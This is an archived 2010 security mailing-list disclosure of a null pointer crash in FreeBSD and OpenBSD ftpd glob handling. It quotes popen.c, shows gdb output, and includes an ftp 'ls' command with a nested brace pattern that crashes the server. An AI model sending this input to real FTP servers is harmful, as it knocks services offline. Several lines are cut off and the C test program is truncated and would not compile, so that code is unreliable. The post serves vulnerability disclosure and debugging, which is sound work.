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FreeBSD and OpenBSD ftpd bug (not exploitable?)
From: Kingcope <kcope2 () googlemail com>
Date: Fri, 05 Mar 2010 16:19:12 +0100

FreeBSD ftpd globbing bug - null pointer dereference ?

Affected FreeBSD Releases
FreeBSD 8.0, 6.3 and 4.9

Affected OpenBSD Releases
OpenBSD 4.6

Testing Environment 
FreeBSD localhost.Belkin 8.0-RELEASE FreeBSD 8.0-RELEASE #0: Sat Nov 21
15:48:17 UTC 2009
root () almeida cse buffalo edu:/usr/obj/usr/src/sys/GENERIC  i386

Full Description
FreeBSD (tested back to 4.9-Release) (and OpenBSD 4.6) has a bug in its
ftpd when handling globbing requests.

My investigation results in this being a null pointer dereference in
I am not sure if this could be a heap overrun, but I don't think so.

from popen.c:

        /* glob each piece */
        gargv[0] = argv[0];
        for (gargc = argc = 1; argv[argc] && gargc < (MAXGLOBARGS-1); argc++) {
                glob_t gl;
                int flags = GLOB_BRACE|GLOB_NOCHECK|GLOB_TILDE;

                memset(&gl, 0, sizeof(gl));
                gl.gl_matchc = MAXGLOBARGS;
                flags |= GLOB_LIMIT;
[1]             if (glob(argv[argc], flags, NULL, &gl))
                        gargv[gargc++] = strdup(argv[argc]);
[2]             else
[3]                     for (pop = gl.gl_pathv; *pop && gargc < (MAXGLOBARGS-1);
                                gargv[gargc++] = strdup(*pop);

At [1] glob() is called. if theres a long directory (for example "A" x
200) and a request like described
in "how to repeat this problem" is sent to the ftpd it crashes. My
assumption is because it lands in the
else clause [2], glob doesn't fail but gives back a zeroed out gl
structure. In [3] then there's no check
if pop is null and therefore *pop gets dereferenced which is a null
pointer and the ftpd instance crashes.

Could someone please shed some light into why glob doesn't fail but
gives a zeroed out structure back?

How to repeat the problem

$ ftp
Connected to
220 localhost.Belkin FTP server (Version 6.00LS) ready.
Name ( kcope
331 Password required for kcope.
230 User kcope logged in.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> mkdir
 directory created.
ftp> ls {W*/../W*/../W*/../W*/../W*/../W*/../W*/}
200 PORT command successful.

on the other side:

0x282261e5 in read () at read.S:3
3       RSYSCALL(read)
Current language:  auto; currently asm
(gdb) c

Program received signal SIGSEGV, Segmentation fault.
0x0805622c in getline ()
(gdb) i r
eax            0x0      0
ecx            0x0      0
edx            0x0      0
ebx            0xbfbfd911       -1077946095
esp            0xbfbfba70       0xbfbfba70
ebp            0xbfbfcc08       0xbfbfcc08
esi            0x1      1
edi            0xbfbfcbf4       -1077949452
eip            0x805622c        0x805622c
eflags         0x10293  66195
cs             0x33     51
ss             0x3b     59
ds             0x3b     59
es             0x3b     59
fs             0x3b     59
gs             0x1b     27
(gdb) x/10i $eip
0x805622c <getline+12620>:      mov    (%edx),%eax
0x805622e <getline+12622>:      setle  %cl
0x8056231 <getline+12625>:      mov    %ecx,%esi
0x8056233 <getline+12627>:      test   %eax,%eax
0x8056235 <getline+12629>:      je     0x8056281 <getline+12705>
0x8056237 <getline+12631>:      test   %cl,%cl
0x8056239 <getline+12633>:      je     0x8056281 <getline+12705>
0x805623b <getline+12635>:      mov    %edx,%ebx
0x805623d <getline+12637>:      mov    0xffffee7c(%ebp),%edx
0x8056243 <getline+12643>:      lea    0xffffee90(%ebp,%edx,4),%edi
(gdb) i f
Stack level 0, frame at 0xbfbfcc10:
 eip = 0x805622c in getline; saved eip 0x805047b
 called by frame at 0xbfbfcc14
 Arglist at 0xbfbfcc08, args: 
 Locals at 0xbfbfcc08, Previous frame's sp is 0xbfbfcc10
 Saved registers:
  ebx at 0xbfbfcbfc, ebp at 0xbfbfcc08, esi at 0xbfbfcc00, edi at
  eip at 0xbfbfcc0c

Testing program:


#include <glob.h>
#include <stdio.h>

#define MAXUSRARGS      100
#define MAXGLOBARGS     1000

void do_glob() {
        glob_t gl;
        char **pop;

        char buffer[256];
        strcpy(buffer, "{A*/../A*/../A*/../A*/../A*/../A*/../A*}");

        memset(&gl, 0, sizeof(gl));
        gl.gl_matchc = MAXGLOBARGS;
        flags |= GLOB_LIMIT;
        if (glob(buffer, flags, NULL, &gl)) {
                printf("GLOB FAILED!\n");
                return 0;
//                for (pop = gl.gl_pathv; pop && *pop && 1 <
                for (pop = gl.gl_pathv; *pop && 1 < (MAXGLOBARGS-1);
                     pop++) {
                        printf("glob success");
                        return 0;

main(int argc, char **argv) {

05 March 2010

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